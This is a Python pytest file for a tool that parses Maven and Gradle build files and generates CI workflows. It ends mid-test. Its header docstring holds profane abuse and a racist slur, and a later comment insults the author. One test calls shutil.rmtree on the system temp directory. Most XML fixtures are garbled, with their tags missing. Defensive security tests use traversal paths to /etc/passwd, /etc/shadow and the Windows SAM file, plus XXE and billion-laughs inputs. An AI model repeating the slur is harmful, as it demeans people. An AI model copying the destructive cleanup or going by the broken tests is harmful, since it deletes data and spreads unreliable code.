#!/usr/bin/env python3 """ Fix this shit! Fucking assfucked shit wont pass fucking 36 Failed and 31 Passed fuck you , fix this you downy black monkey. Requirements: - pytest - pytest-cov (for coverage) - pytest-mock (for mocking) - pytest-xdist (for parallel execution) Run with: pytest test_pommer.py -v --cov=pommer --cov-report=html """ import pytest import os import sys import tempfile import shutil import json import xml.etree.ElementTree as ET from pathlib import Path from unittest.mock import patch, mock_open, MagicMock, call from io import StringIO # Add the script directory to path for imports sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) # Import the module under test import pommer class TestParseXMLUtils: """Test XML parsing utilities and edge cases""" def test_xml_namespace_registration(self): """Test that XML namespace is properly registered""" # This should not raise an exception ET.register_namespace('', "http://maven.apache.org/POM/4.0.0") assert True # If we reach here, namespace registration worked def test_malformed_xml_handling(self): """Test handling of malformed XML files""" malformed_xml = """ test """ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(malformed_xml) f.flush() result = pommer.parse_pom_xml(f.name) assert result is None # Should handle malformed XML gracefully os.unlink(f.name) def test_empty_xml_file(self): """Test handling of empty XML files""" with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write("") f.flush() result = pommer.parse_pom_xml(f.name) assert result is None os.unlink(f.name) def test_xml_with_bom(self): """Test handling of XML files with Byte Order Mark""" xml_with_bom = '\ufeff\n' + """ test-bom com.test 1.0.0 """ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8-sig') as f: f.write(xml_with_bom) f.flush() result = pommer.parse_pom_xml(f.name) assert result is not None assert result['artifact_id'] == 'test-bom' os.unlink(f.name) class TestParsePomXml: """Test Maven POM XML parsing functionality""" def create_test_pom(self, content): """Helper to create temporary POM files""" temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) temp_file.write(content) temp_file.close() return temp_file.name def test_minimal_pom_parsing(self): """Test parsing of minimal POM file""" minimal_pom = """ minimal-project """ pom_path = self.create_test_pom(minimal_pom) result = pommer.parse_pom_xml(pom_path) assert result is not None assert result['artifact_id'] == 'minimal-project' assert result['group_id'] == 'unknown' # Default value assert result['version'] == 'unknown' # Default value assert result['name'] == 'minimal-project' # Falls back to artifact_id assert result['java_version'] == '17' # Default value assert result['packaging'] == 'jar' # Default value assert result['is_kotlin'] == False assert result['build_system'] == 'maven' os.unlink(pom_path) def test_complete_pom_parsing(self): """Test parsing of complete POM file with all elements""" complete_pom = """ com.example complete-project 2.1.0 Complete Test Project war 11 1.8.20 src/main/java clean compile package org.jetbrains.kotlin kotlin-maven-plugin org.jetbrains.kotlin kotlin-stdlib-jdk8 """ pom_path = self.create_test_pom(complete_pom) result = pommer.parse_pom_xml(pom_path) assert result is not None assert result['artifact_id'] == 'complete-project' assert result['group_id'] == 'com.example' assert result['version'] == '2.1.0' assert result['name'] == 'Complete Test Project' assert result['java_version'] == '11' assert result['packaging'] == 'war' assert result['is_kotlin'] == True assert result['kotlin_version'] == '1.8.20' assert result['source_dir'] == 'src/main/java' assert result['default_goal'] == 'clean compile package' os.unlink(pom_path) def test_kotlin_detection_via_plugin(self): """Test Kotlin detection via plugin presence""" kotlin_plugin_pom = """ kotlin-plugin-test org.jetbrains.kotlin kotlin-maven-plugin 1.7.10 """ pom_path = self.create_test_pom(kotlin_plugin_pom) result = pommer.parse_pom_xml(pom_path) assert result['is_kotlin'] == True os.unlink(pom_path) def test_kotlin_detection_via_dependency(self): """Test Kotlin detection via dependency presence""" kotlin_dep_pom = """ kotlin-dep-test org.jetbrains.kotlin kotlin-stdlib 1.7.10 """ pom_path = self.create_test_pom(kotlin_dep_pom) result = pommer.parse_pom_xml(pom_path) assert result['is_kotlin'] == True os.unlink(pom_path) def test_kotlin_detection_via_properties(self): """Test Kotlin detection via kotlin.version property""" kotlin_prop_pom = """ kotlin-prop-test 1.8.0 """ pom_path = self.create_test_pom(kotlin_prop_pom) result = pommer.parse_pom_xml(pom_path) assert result['is_kotlin'] == True assert result['kotlin_version'] == '1.8.0' os.unlink(pom_path) def test_pom_with_parent(self): """Test POM with parent project inheritance""" parent_pom = """ com.parent parent-project 1.0.0 child-project """ pom_path = self.create_test_pom(parent_pom) result = pommer.parse_pom_xml(pom_path) assert result is not None assert result['artifact_id'] == 'child-project' # Should handle missing groupId/version gracefully assert result['group_id'] == 'unknown' assert result['version'] == 'unknown' os.unlink(pom_path) def test_nonexistent_pom_file(self): """Test handling of non-existent POM file""" result = pommer.parse_pom_xml("/nonexistent/path/pom.xml") assert result is None def test_pom_permission_denied(self): """Test handling of POM file with no read permissions""" pom_content = """ permission-test """ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(pom_content) f.flush() # Remove read permissions os.chmod(f.name, 0o000) result = pommer.parse_pom_xml(f.name) assert result is None # Restore permissions for cleanup os.chmod(f.name, 0o644) os.unlink(f.name) def test_pom_with_comments_and_whitespace(self): """Test POM parsing with extensive comments and whitespace""" commented_pom = """ commented-project com.test 1.2.3 8 """ pom_path = self.create_test_pom(commented_pom) result = pommer.parse_pom_xml(pom_path) assert result is not None assert result['artifact_id'] == 'commented-project' assert result['group_id'] == 'com.test' assert result['version'] == '1.2.3' assert result['java_version'] == '8' os.unlink(pom_path) class TestParseGradleFile: """Test Gradle build file parsing functionality""" def create_test_gradle(self, content, is_kts=False): """Helper to create temporary Gradle files""" suffix = '.gradle.kts' if is_kts else '.gradle' temp_file = tempfile.NamedTemporaryFile(mode='w', suffix=suffix, delete=False) temp_file.write(content) temp_file.close() return temp_file.name def create_settings_gradle(self, content, gradle_dir, is_kts=False): """Helper to create settings.gradle file""" filename = 'settings.gradle.kts' if is_kts else 'settings.gradle' settings_path = os.path.join(gradle_dir, filename) with open(settings_path, 'w') as f: f.write(content) return settings_path def test_minimal_gradle_parsing(self): """Test parsing of minimal Gradle file""" minimal_gradle = """ // Minimal Gradle build file """ gradle_path = self.create_test_gradle(minimal_gradle) result = pommer.parse_gradle_file(gradle_path) assert result is not None assert result['group_id'] == 'unknown' assert result['version'] == 'unknown' assert result['java_version'] == '17' # Default assert result['packaging'] == 'jar' assert result['is_kotlin'] == False assert result['build_system'] == 'gradle' assert result['is_kotlin_dsl'] == False os.unlink(gradle_path) def test_complete_gradle_parsing(self): """Test parsing of complete Gradle file""" complete_gradle = """ plugins { id 'java' id 'application' id 'org.jetbrains.kotlin.jvm' version '1.8.20' } group = 'com.example' version = '2.1.0' sourceCompatibility = JavaVersion.VERSION_11 repositories { mavenCentral() } dependencies { implementation 'org.jetbrains.kotlin:kotlin-stdlib' } """ gradle_dir = tempfile.mkdtemp() gradle_path = os.path.join(gradle_dir, 'build.gradle') with open(gradle_path, 'w') as f: f.write(complete_gradle) # Create settings.gradle settings_content = "rootProject.name = 'complete-gradle-project'" self.create_settings_gradle(settings_content, gradle_dir) result = pommer.parse_gradle_file(gradle_path) assert result is not None assert result['artifact_id'] == 'complete-gradle-project' assert result['group_id'] == 'com.example' assert result['version'] == '2.1.0' assert result['java_version'] == '11' assert result['packaging'] == 'application' assert result['is_kotlin'] == True assert result['kotlin_version'] == '1.8.20' shutil.rmtree(gradle_dir) def test_kotlin_dsl_gradle_parsing(self): """Test parsing of Kotlin DSL Gradle file""" kotlin_gradle = """ plugins { kotlin("jvm") version "1.8.0" application } group = "com.kotlin.example" version = "1.0.0" java { toolchain { languageVersion = JavaLanguageVersion.of(17) } } """ gradle_path = self.create_test_gradle(kotlin_gradle, is_kts=True) result = pommer.parse_gradle_file(gradle_path) assert result is not None assert result['is_kotlin_dsl'] == True assert result['is_kotlin'] == True # Should detect Kotlin from DSL assert result['group_id'] == 'com.kotlin.example' assert result['version'] == '1.0.0' assert result['java_version'] == '17' # From toolchain os.unlink(gradle_path) def test_gradle_java_version_detection_variants(self): """Test various ways Java version can be specified in Gradle""" # Test sourceCompatibility with quotes gradle1 = 'sourceCompatibility = "11"' path1 = self.create_test_gradle(gradle1) result1 = pommer.parse_gradle_file(path1) assert result1['java_version'] == '11' os.unlink(path1) # Test sourceCompatibility with JavaVersion enum gradle2 = 'sourceCompatibility = JavaVersion.VERSION_8' path2 = self.create_test_gradle(gradle2) result2 = pommer.parse_gradle_file(path2) assert result2['java_version'] == '8' os.unlink(path2) # Test toolchain configuration gradle3 = """ java { toolchain { languageVersion = JavaLanguageVersion.of(21) } } """ path3 = self.create_test_gradle(gradle3) result3 = pommer.parse_gradle_file(path3) assert result3['java_version'] == '21' os.unlink(path3) def test_gradle_settings_file_variants(self): """Test detection of project name from various settings file formats""" gradle_dir = tempfile.mkdtemp() gradle_path = os.path.join(gradle_dir, 'build.gradle') with open(gradle_path, 'w') as f: f.write('// Simple build file') # Test settings.gradle with double quotes settings1 = 'rootProject.name = "test-project-1"' self.create_settings_gradle(settings1, gradle_dir) result1 = pommer.parse_gradle_file(gradle_path) assert result1['artifact_id'] == 'test-project-1' # Clean up and test settings.gradle.kts os.remove(os.path.join(gradle_dir, 'settings.gradle')) settings2 = 'rootProject.name = "test-project-2"' self.create_settings_gradle(settings2, gradle_dir, is_kts=True) result2 = pommer.parse_gradle_file(gradle_path) assert result2['artifact_id'] == 'test-project-2' # Test fallback to directory name os.remove(os.path.join(gradle_dir, 'settings.gradle.kts')) result3 = pommer.parse_gradle_file(gradle_path) assert result3['artifact_id'] == os.path.basename(gradle_dir) shutil.rmtree(gradle_dir) def test_gradle_kotlin_detection_methods(self): """Test various methods of Kotlin detection in Gradle""" # Kotlin plugin with id() gradle1 = 'id("kotlin") version "1.8.0"' path1 = self.create_test_gradle(gradle1) result1 = pommer.parse_gradle_file(path1) assert result1['is_kotlin'] == True os.unlink(path1) # Kotlin plugin with full ID gradle2 = 'id "org.jetbrains.kotlin.jvm" version "1.7.0"' path2 = self.create_test_gradle(gradle2) result2 = pommer.parse_gradle_file(path2) assert result2['is_kotlin'] == True os.unlink(path2) # Kotlin version property gradle3 = 'kotlin version "1.6.0"' path3 = self.create_test_gradle(gradle3) result3 = pommer.parse_gradle_file(path3) assert result3['is_kotlin'] == True assert result3['kotlin_version'] == '1.6.0' os.unlink(path3) def test_gradle_application_plugin_detection(self): """Test detection of application plugin""" gradle_with_app = 'id("application")' path = self.create_test_gradle(gradle_with_app) result = pommer.parse_gradle_file(path) assert result['packaging'] == 'application' os.unlink(path) def test_nonexistent_gradle_file(self): """Test handling of non-existent Gradle file""" result = pommer.parse_gradle_file("/nonexistent/path/build.gradle") assert result is None def test_gradle_file_permission_denied(self): """Test handling of Gradle file with no read permissions""" gradle_content = "// Test content" with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: f.write(gradle_content) f.flush() # Remove read permissions os.chmod(f.name, 0o000) result = pommer.parse_gradle_file(f.name) assert result is None # Restore permissions for cleanup os.chmod(f.name, 0o644) os.unlink(f.name) def test_gradle_complex_multiline_patterns(self): """Test parsing of complex multiline Gradle configurations""" complex_gradle = """ plugins { id 'java' id 'org.jetbrains.kotlin.jvm' version '1.8.20' } java.toolchain { languageVersion = JavaLanguageVersion.of( 17 ) } group = 'com.complex.example' version = '3.2.1' """ path = self.create_test_gradle(complex_gradle) result = pommer.parse_gradle_file(path) assert result is not None assert result['group_id'] == 'com.complex.example' assert result['version'] == '3.2.1' assert result['java_version'] == '17' assert result['is_kotlin'] == True assert result['kotlin_version'] == '1.8.20' os.unlink(path) class TestWorkflowGeneration: """Test workflow generation functionality""" def test_generate_maven_workflow_single_project(self): """Test Maven workflow generation for single project""" maven_info = [{ "artifact_id": "test-project", "group_id": "com.test", "version": "1.0.0", "name": "Test Project", "java_version": "11", "packaging": "jar", "is_kotlin": False, "kotlin_version": None, "source_dir": None, "default_goal": None, "pom_path": "pom.xml", "build_system": "maven" }] workflow = pommer.generate_maven_workflow(maven_info) assert workflow is not None assert "Maven Build" in workflow assert "JDK 11" in workflow assert "test-project" in workflow assert "clean package" in workflow assert "maven" in workflow.lower() def test_generate_maven_workflow_multiple_projects(self): """Test Maven workflow generation for multiple projects""" maven_infos = [ { "artifact_id": "project1", "name": "Project 1", "java_version": "8", "pom_path": "module1/pom.xml", "default_goal": "clean compile", "build_system": "maven" }, { "artifact_id": "project2", "name": "Project 2", "java_version": "17", "pom_path": "module2/pom.xml", "default_goal": None, "build_system": "maven" } ] workflow = pommer.generate_maven_workflow(maven_infos) assert workflow is not None assert "JDK 17" in workflow # Should use highest Java version assert "project1" in workflow assert "project2" in workflow assert "clean compile" in workflow # Custom goal assert "clean package" in workflow # Default goal def test_generate_maven_workflow_empty_list(self): """Test Maven workflow generation with empty project list""" workflow = pommer.generate_maven_workflow([]) assert workflow is None def test_generate_gradle_workflow_single_project(self): """Test Gradle workflow generation for single project""" gradle_info = [{ "artifact_id": "gradle-test", "name": "Gradle Test", "java_version": "11", "gradle_path": "build.gradle", "is_kotlin": True, "kotlin_version": "1.8.0", "build_system": "gradle" }] workflow = pommer.generate_gradle_workflow(gradle_info) assert workflow is not None assert "Gradle Build" in workflow assert "JDK 11" in workflow assert "gradle-test" in workflow assert "gradlew" in workflow or "gradle" in workflow def test_generate_gradle_workflow_with_wrapper(self): """Test Gradle workflow generation with wrapper detection""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") gradlew_path = os.path.join(temp_dir, "gradlew") # Create dummy files with open(gradle_path, 'w') as f: f.write("// test") with open(gradlew_path, 'w') as f: f.write("#!/bin/bash") gradle_info = [{ "artifact_id": "wrapper-test", "name": "Wrapper Test", "java_version": "17", "gradle_path": gradle_path, "build_system": "gradle" }] workflow = pommer.generate_gradle_workflow(gradle_info) assert workflow is not None assert "./gradlew" in workflow # Should detect wrapper shutil.rmtree(temp_dir) def test_generate_gradle_workflow_without_wrapper(self): """Test Gradle workflow generation without wrapper""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") # Create gradle file but no wrapper with open(gradle_path, 'w') as f: f.write("// test") gradle_info = [{ "artifact_id": "no-wrapper-test", "name": "No Wrapper Test", "java_version": "11", "gradle_path": gradle_path, "build_system": "gradle" }] workflow = pommer.generate_gradle_workflow(gradle_info) assert workflow is not None assert "gradle build" in workflow # Should use system gradle shutil.rmtree(temp_dir) def test_generate_gradle_workflow_empty_list(self): """Test Gradle workflow generation with empty project list""" workflow = pommer.generate_gradle_workflow([]) assert workflow is None class TestBuildScriptGeneration: """Test build script generation functionality""" def test_generate_build_script_maven_only(self): """Test build script generation for Maven-only projects""" maven_projects = [{ "name": "Maven Project", "pom_path": "pom.xml", "build_system": "maven" }] script = pommer.generate_build_script(maven_projects) assert script is not None assert "mvn" in script assert "gradle" in script assert "Maven Project" in script assert "Gradle Project" in script shutil.rmtree(tempfile.tempdir) def test_generate_build_script_empty_projects(self): """Test build script generation with empty project list""" script = pommer.generate_build_script([]) assert script is not None assert "Universal build script" in script class TestFileDiscovery: """Test file discovery functionality""" def test_find_pom_files_single_level(self): """Test finding POM files in single directory""" temp_dir = tempfile.mkdtemp() pom_path = os.path.join(temp_dir, "pom.xml") with open(pom_path, 'w') as f: f.write("") found_poms = pommer.find_pom_files(temp_dir) assert len(found_poms) == 1 assert pom_path in found_poms shutil.rmtree(temp_dir) def test_find_pom_files_nested(self): """Test finding POM files in nested directories""" temp_dir = tempfile.mkdtemp() # Create nested structure module1_dir = os.path.join(temp_dir, "module1") module2_dir = os.path.join(temp_dir, "module2", "submodule") os.makedirs(module1_dir) os.makedirs(module2_dir) # Create POM files root_pom = os.path.join(temp_dir, "pom.xml") module1_pom = os.path.join(module1_dir, "pom.xml") module2_pom = os.path.join(module2_dir, "pom.xml") for pom_path in [root_pom, module1_pom, module2_pom]: with open(pom_path, 'w') as f: f.write("") found_poms = pommer.find_pom_files(temp_dir) assert len(found_poms) == 3 assert all(pom in found_poms for pom in [root_pom, module1_pom, module2_pom]) shutil.rmtree(temp_dir) def test_find_pom_files_no_matches(self): """Test finding POM files when none exist""" temp_dir = tempfile.mkdtemp() # Create some non-POM files with open(os.path.join(temp_dir, "build.gradle"), 'w') as f: f.write("// gradle") with open(os.path.join(temp_dir, "README.md"), 'w') as f: f.write("# README") found_poms = pommer.find_pom_files(temp_dir) assert len(found_poms) == 0 shutil.rmtree(temp_dir) def test_find_gradle_files_both_types(self): """Test finding both .gradle and .gradle.kts files""" temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, "build.gradle") gradle_kts_path = os.path.join(temp_dir, "build.gradle.kts") with open(gradle_path, 'w') as f: f.write("// gradle") with open(gradle_kts_path, 'w') as f: f.write("// gradle kts") found_gradle = pommer.find_gradle_files(temp_dir) assert len(found_gradle) == 2 assert gradle_path in found_gradle assert gradle_kts_path in found_gradle shutil.rmtree(temp_dir) def test_find_gradle_files_nested(self): """Test finding Gradle files in nested directories""" temp_dir = tempfile.mkdtemp() # Create nested structure app_dir = os.path.join(temp_dir, "app") lib_dir = os.path.join(temp_dir, "lib", "core") os.makedirs(app_dir) os.makedirs(lib_dir) # Create Gradle files root_gradle = os.path.join(temp_dir, "build.gradle") app_gradle = os.path.join(app_dir, "build.gradle.kts") lib_gradle = os.path.join(lib_dir, "build.gradle") for gradle_path in [root_gradle, app_gradle, lib_gradle]: with open(gradle_path, 'w') as f: f.write("// gradle build") found_gradle = pommer.find_gradle_files(temp_dir) assert len(found_gradle) == 3 assert all(gradle in found_gradle for gradle in [root_gradle, app_gradle, lib_gradle]) shutil.rmtree(temp_dir) def test_find_files_nonexistent_directory(self): """Test file discovery in non-existent directory""" found_poms = pommer.find_pom_files("/nonexistent/directory") found_gradle = pommer.find_gradle_files("/nonexistent/directory") assert len(found_poms) == 0 assert len(found_gradle) == 0 class TestMainFunction: """Test main function and command-line interface""" @patch('sys.argv') @patch('pommer.find_pom_files') @patch('pommer.find_gradle_files') @patch('pommer.parse_pom_xml') @patch('pommer.parse_gradle_file') def test_main_with_default_args(self, mock_parse_gradle, mock_parse_pom, mock_find_gradle, mock_find_pom, mock_argv): """Test main function with default arguments""" mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] mock_argv.__len__.return_value = 1 mock_find_pom.return_value = ['pom.xml'] mock_find_gradle.return_value = ['build.gradle'] mock_parse_pom.return_value = { "artifact_id": "test-maven", "name": "Test Maven", "java_version": "11", "build_system": "maven", "pom_path": "pom.xml" } mock_parse_gradle.return_value = { "artifact_id": "test-gradle", "name": "Test Gradle", "java_version": "17", "build_system": "gradle", "gradle_path": "build.gradle" } with patch('builtins.open', mock_open()) as mock_file, \ patch('os.makedirs'), \ patch('os.chmod'), \ patch('builtins.print') as mock_print: # This should not raise an exception try: pommer.main() except SystemExit: pass # argparse calls sys.exit, which is expected @patch('sys.argv') def test_main_with_specific_pom(self, mock_argv): """Test main function with specific POM file""" mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--specific-pom', 'test.xml'][x] mock_argv.__len__.return_value = 3 with patch('pommer.parse_pom_xml') as mock_parse, \ patch('pommer.find_gradle_files') as mock_find_gradle, \ patch('builtins.open', mock_open()), \ patch('os.makedirs'), \ patch('os.chmod'), \ patch('builtins.print'): mock_parse.return_value = { "artifact_id": "specific-test", "name": "Specific Test", "java_version": "8", "build_system": "maven", "pom_path": "test.xml" } mock_find_gradle.return_value = [] try: pommer.main() except SystemExit: pass @patch('sys.argv') def test_main_with_json_output(self, mock_argv): """Test main function with JSON output enabled""" mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--output-json'][x] mock_argv.__len__.return_value = 2 with patch('pommer.find_pom_files') as mock_find_pom, \ patch('pommer.find_gradle_files') as mock_find_gradle, \ patch('pommer.parse_pom_xml') as mock_parse_pom, \ patch('builtins.open', mock_open()) as mock_file, \ patch('os.makedirs'), \ patch('os.chmod'), \ patch('json.dump') as mock_json_dump, \ patch('builtins.print'): mock_find_pom.return_value = ['pom.xml'] mock_find_gradle.return_value = [] mock_parse_pom.return_value = { "artifact_id": "json-test", "build_system": "maven" } try: pommer.main() mock_json_dump.assert_called_once() except SystemExit: pass @patch('sys.argv') def test_main_no_projects_found(self, mock_argv): """Test main function when no projects are found""" mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] mock_argv.__len__.return_value = 1 with patch('pommer.find_pom_files') as mock_find_pom, \ patch('pommer.find_gradle_files') as mock_find_gradle, \ patch('builtins.print') as mock_print: mock_find_pom.return_value = [] mock_find_gradle.return_value = [] try: pommer.main() # Should print error message mock_print.assert_any_call("No pom.xml or build.gradle files found in .") except SystemExit: pass @patch('sys.argv') def test_main_parsing_failures(self, mock_argv): """Test main function when all parsing fails""" mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] mock_argv.__len__.return_value = 1 with patch('pommer.find_pom_files') as mock_find_pom, \ patch('pommer.find_gradle_files') as mock_find_gradle, \ patch('pommer.parse_pom_xml') as mock_parse_pom, \ patch('pommer.parse_gradle_file') as mock_parse_gradle, \ patch('builtins.print') as mock_print: mock_find_pom.return_value = ['pom.xml'] mock_find_gradle.return_value = ['build.gradle'] mock_parse_pom.return_value = None # Parsing failed mock_parse_gradle.return_value = None # Parsing failed try: pommer.main() mock_print.assert_any_call("No valid project files could be parsed") except SystemExit: pass class TestEdgeCasesAndErrorHandling: """Test edge cases and error handling scenarios""" def test_unicode_content_handling(self): """Test handling of files with Unicode content""" unicode_pom = """ unicode-tëst-prøjëct Ùnïcödë Tëst Prøjëct 🚀 com.tëst.ünicöde """ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8') as f: f.write(unicode_pom) f.flush() result = pommer.parse_pom_xml(f.name) assert result is not None assert result['artifact_id'] == 'unicode-tëst-prøjëct' assert 'Ùnïcödë' in result['name'] os.unlink(f.name) def test_very_large_file_handling(self): """Test handling of very large files""" # Create a large POM with many dependencies large_pom_parts = [ """ large-project """ ] # Add 1000 dependencies for i in range(1000): large_pom_parts.append(f""" com.test.dep{i} dependency-{i} 1.0.{i} """) large_pom_parts.append(""" """) large_pom = ''.join(large_pom_parts) with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(large_pom) f.flush() # Should handle large files without issues result = pommer.parse_pom_xml(f.name) assert result is not None assert result['artifact_id'] == 'large-project' os.unlink(f.name) def test_circular_dependency_in_settings(self): """Test handling of circular references in settings""" temp_dir = tempfile.mkdtemp() # Create build.gradle gradle_path = os.path.join(temp_dir, 'build.gradle') with open(gradle_path, 'w') as f: f.write('// Test gradle') # Create settings.gradle with complex content settings_path = os.path.join(temp_dir, 'settings.gradle') with open(settings_path, 'w') as f: f.write(''' rootProject.name = "complex-project" include "subproject1" include "subproject2" // Some complex Gradle script gradle.beforeProject { project -> project.ext.buildTimestamp = new Date().format('yyyy-MM-dd HH:mm:ss') } ''') result = pommer.parse_gradle_file(gradle_path) assert result is not None assert result['artifact_id'] == 'complex-project' shutil.rmtree(temp_dir) def test_malformed_regex_patterns(self): """Test handling of content that might break regex patterns""" tricky_gradle = ''' // This content might break regex parsing group = "com.test.regex[special*chars+here]" version = "1.0.0-SNAPSHOT+build.123" // Multiline strings that could confuse parsers description = """ This is a multiline description with "quotes" and 'apostrophes' and sourceCompatibility = "fake" """ // The real configuration sourceCompatibility = JavaVersion.VERSION_11 ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: f.write(tricky_gradle) f.flush() result = pommer.parse_gradle_file(f.name) assert result is not None # Should extract the real Java version, not the fake one in comments assert result['java_version'] == '11' os.unlink(f.name) def test_path_traversal_prevention(self): """Test that path traversal attempts are handled safely""" # This test ensures the script doesn't have directory traversal vulnerabilities dangerous_paths = [ "../../../etc/passwd", "..\\..\\windows\\system32\\config\\sam", "/etc/shadow", "../../../../../../../../etc/hosts" ] for dangerous_path in dangerous_paths: result_pom = pommer.parse_pom_xml(dangerous_path) result_gradle = pommer.parse_gradle_file(dangerous_path) # Should return None for non-existent files, not crash assert result_pom is None assert result_gradle is None def test_memory_exhaustion_protection(self): """Test protection against memory exhaustion attacks""" # Create a file with extremely nested XML (potential billion laughs attack) nested_xml = '\n' nested_xml += '\n' for i in range(10): # Limit to prevent actual DoS during testing nested_xml += f'\n' nested_xml += ']>\n' nested_xml += '&lol9;' with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(nested_xml) f.flush() # Should handle malformed/dangerous XML gracefully result = pommer.parse_pom_xml(f.name) # Either None (safe parsing failure) or valid result assert result is None or isinstance(result, dict) os.unlink(f.name) class TestIntegrationScenarios: # Fuck, who wrote this shit it seems like this was written by a fucking monkey? """Test realistic integration scenarios""" def test_real_world_spring_boot_project(self): """Test parsing a realistic Spring Boot Maven project""" spring_boot_pom = """ 4.0.0 org.springframework.boot spring-boot-starter-parent 3.2.0 com.example spring-boot-demo 0.0.1-SNAPSHOT Spring Boot Demo Demo project for Spring Boot jar 17 1.9.20 org.springframework.boot spring-boot-starter-web org.jetbrains.kotlin kotlin-stdlib-jdk8 src/main/kotlin org.springframework.boot spring-boot-maven-plugin org.jetbrains.kotlin kotlin-maven-plugin """ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(spring_boot_pom) f.flush() result = pommer.parse_pom_xml(f.name) assert result is not None assert result['artifact_id'] == 'spring-boot-demo' assert result['group_id'] == 'com.example' assert result['version'] == '0.0.1-SNAPSHOT' assert result['java_version'] == '17' assert result['is_kotlin'] == True assert result['kotlin_version'] == '1.9.20' assert result['source_dir'] == 'src/main/kotlin' os.unlink(f.name) def test_real_world_android_gradle_project(self): """Test parsing a realistic Android Gradle project""" android_gradle = """ plugins { id 'com.android.application' id 'org.jetbrains.kotlin.android' } android { namespace 'com.example.myapp' compileSdk 34 defaultConfig { applicationId "com.example.myapp" minSdk 24 targetSdk 34 versionCode 1 versionName "1.0" } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } kotlinOptions { jvmTarget = '1.8' } } dependencies { implementation 'androidx.core:core-ktx:1.12.0' implementation 'androidx.appcompat:appcompat:1.6.1' } """ temp_dir = tempfile.mkdtemp() gradle_path = os.path.join(temp_dir, 'build.gradle') with open(gradle_path, 'w') as f: f.write(android_gradle) # Create settings.gradle settings_content = 'rootProject.name = "MyAndroidApp"' with open(os.path.join(temp_dir, 'settings.gradle'), 'w') as f: f.write(settings_content) result = pommer.parse_gradle_file(gradle_path) assert result is not None assert result['artifact_id'] == 'MyAndroidApp' assert result['is_kotlin'] == True assert result['java_version'] == '17' # Default since no explicit sourceCompatibility shutil.rmtree(temp_dir) def test_multi_module_maven_project(self): """Test a realistic multi-module Maven project""" temp_dir = tempfile.mkdtemp() # Root POM root_pom = """ com.example multi-module-parent 1.0.0 pom core web api 11 """ # Core module POM core_dir = os.path.join(temp_dir, 'core') os.makedirs(core_dir) core_pom = """ com.example multi-module-parent 1.0.0 core Core Module """ # Web module POM web_dir = os.path.join(temp_dir, 'web') os.makedirs(web_dir) web_pom = """ com.example multi-module-parent 1.0.0 web Web Module war """ # Write all POM files with open(os.path.join(temp_dir, 'pom.xml'), 'w') as f: f.write(root_pom) with open(os.path.join(core_dir, 'pom.xml'), 'w') as f: f.write(core_pom) with open(os.path.join(web_dir, 'pom.xml'), 'w') as f: f.write(web_pom) # Find and parse all POMs found_poms = pommer.find_pom_files(temp_dir) assert len(found_poms) == 3 parsed_projects = [] for pom_path in found_poms: result = pommer.parse_pom_xml(pom_path) if result: parsed_projects.append(result) assert len(parsed_projects) == 3 # Verify each module artifacts = {p['artifact_id'] for p in parsed_projects} assert 'multi-module-parent' in artifacts assert 'core' in artifacts assert 'web' in artifacts # Check packaging types packaging_types = {p['artifact_id']: p['packaging'] for p in parsed_projects} assert packaging_types['multi-module-parent'] == 'pom' assert packaging_types['core'] == 'jar' # default assert packaging_types['web'] == 'war' shutil.rmtree(temp_dir) @pytest.fixture def mock_filesystem(): """Fixture to provide mock filesystem operations""" with patch('os.path.exists'), \ patch('os.makedirs'), \ patch('os.chmod'), \ patch('builtins.open', mock_open()) as mock_file: yield mock_file class TestPerformanceAndScalability: """Test performance and scalability aspects""" def test_large_number_of_projects(self): """Test handling a large number of projects""" # Create 100 mock project infos large_project_list = [] for i in range(100): large_project_list.append({ "artifact_id": f"project-{i}", "name": f"Project {i}", "java_version": str(8 + (i % 10)), # Mix of Java 8-17 "pom_path": f"module{i}/pom.xml", "build_system": "maven", "default_goal": None }) # Should handle large lists without issues workflow = pommer.generate_maven_workflow(large_project_list) assert workflow is not None # Check that all projects are included for i in range(100): assert f"project-{i}" in workflow # Should use the highest Java version (17) assert "JDK 17" in workflow def test_deeply_nested_directory_structure(self): """Test handling deeply nested directory structures""" temp_dir = tempfile.mkdtemp() # Create deeply nested structure (10 levels deep) current_dir = temp_dir for i in range(10): current_dir = os.path.join(current_dir, f"level{i}") os.makedirs(current_dir) # Create POM at the deepest level deep_pom_path = os.path.join(current_dir, "pom.xml") with open(deep_pom_path, 'w') as f: f.write(""" deep-project """) # Should find the deeply nested POM found_poms = pommer.find_pom_files(temp_dir) assert len(found_poms) == 1 assert deep_pom_path in found_poms # Should parse successfully result = pommer.parse_pom_xml(deep_pom_path) assert result is not None assert result['artifact_id'] == 'deep-project' shutil.rmtree(temp_dir) class TestSecurityConsiderations: """Test security-related aspects""" def test_xml_external_entity_prevention(self): """Test prevention of XML External Entity (XXE) attacks""" xxe_pom = ''' ]> xxe-test &xxe; ''' with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(xxe_pom) f.flush() # Should handle XXE attempts safely result = pommer.parse_pom_xml(f.name) # Either parse safely (ignoring external entities) or fail gracefully assert result is None or (result is not None and '/etc/passwd' not in str(result)) os.unlink(f.name) def test_command_injection_prevention(self): """Test prevention of command injection through 